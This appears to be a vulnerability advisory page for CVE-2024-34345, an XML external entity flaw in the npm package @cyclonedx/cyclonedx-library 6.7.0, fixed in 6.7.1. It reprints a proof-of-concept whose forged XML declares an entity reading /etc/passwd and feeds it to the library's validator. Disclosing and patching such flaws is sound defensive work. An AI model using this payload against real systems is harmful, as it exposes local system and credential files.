NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

CVE-2024-34345: @cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

highCVSS 3.1 8.1GHSA-38gf-rh2w-gmj7

Impact XML External entity injections could be possible, when running the provided XML Validator on arbitrary input. POC Patches This issue was fixed in @cyclonedx/[email protected] . Workarounds Do not run the provided XML validator on untrusted inputs. References issue was introduced via .

Published May 8, 2024 · Updated May 14, 2024

Affected packages

@cyclonedx/cyclonedx-library

Ecosystem
npm
Affected
= 6.7.0
Fixed in
6.7.1
Check
npm ls @cyclonedx/cyclonedx-library

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/[email protected] .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

  • issue was introduced via .

Credited to jkowalleck.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology